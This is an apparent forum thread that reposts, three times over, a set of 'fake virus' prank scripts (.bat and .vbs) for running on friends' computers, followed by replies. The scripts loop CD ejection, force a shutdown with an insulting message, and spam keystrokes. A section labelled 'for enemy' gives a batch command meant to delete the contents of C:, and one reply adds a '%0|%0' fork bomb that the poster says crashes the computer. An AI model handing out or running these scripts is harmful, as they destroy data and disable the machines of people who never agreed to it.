Fake Virus Snippets .Bat & .VBS | Trool Friend & Enemy

[GEHhgerhgerhgerhrhr]

Copy&Pasted Content, I'm NOT the creator/writer of this!

---

---

VIRUS NOTEPAD SCRIPT - Safe Part / friends

1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" .

2)SHUTDOWN COMPUTER

 

@echo off
msg * I don't like you = you can edit
shutdown -c "Error! You are too stupid!" -s = you can edit

Save it as "Anything.BAT" .

3) Frustrate your friend by making this VBScript hit Enter simultaneously:

 

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS"

4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

 

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS"

5) Frustrate your friend by making this VBScript hit Backspace simultaneously:

 

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS"

Danger Part~ for enemy

1) Copy the code below

 

@Echo off
Del C:\ *.* |y = you can change this

save as anything.bat

PLEASE NoTe:
dont run that .bat file on ur system
it will delete c:

[wEFTwefwfefesfefe]

Copy&Pasted Content, I'm NOT the creator/writer of this!

---

---

VIRUS NOTEPAD SCRIPT - Safe Part / friends

1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" .

2)SHUTDOWN COMPUTER

 

@echo off
msg * I don't like you = you can edit
shutdown -c "Error! You are too stupid!" -s = you can edit

Save it as "Anything.BAT" .

3) Frustrate your friend by making this VBScript hit Enter simultaneously:

 

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS"

4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

 

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS"

5) Frustrate your friend by making this VBScript hit Backspace simultaneously:

 

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS"

Danger Part~ for enemy

1) Copy the code below

 

@Echo off
Del C:\ *.* |y = you can change this

save as anything.bat

PLEASE NoTe:
dont run that .bat file on ur system
it will delete c:

Not bad....Coded my Youtube Viewer in BATCH aswell * HighFive

[desligaessepc]

Very funny. huehuehue my friend will be trolled

[Babart]

You can try too, in a .bat
%0|%0

It's just funny.
(a fork, and it will crash the computer)

[laxkid1515]

How does the Hello how are you command thingy work?

[Xiao@]

Copy&Pasted Content, I'm NOT the creator/writer of this!

---

---

VIRUS NOTEPAD SCRIPT - Safe Part / friends

1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" .

2)SHUTDOWN COMPUTER

 

@echo off
msg * I don't like you = you can edit
shutdown -c "Error! You are too stupid!" -s = you can edit

Save it as "Anything.BAT" .

3) Frustrate your friend by making this VBScript hit Enter simultaneously:

 

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS"

4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

 

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS"

5) Frustrate your friend by making this VBScript hit Backspace simultaneously:

 

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS"

Danger Part~ for enemy

1) Copy the code below

 

@Echo off
Del C:\ *.* |y = you can change this

save as anything.bat

PLEASE NoTe:
dont run that .bat file on ur system
it will delete c:

Nice ！ Good job~

[Ryzeros.]

I cant stop laughing at them.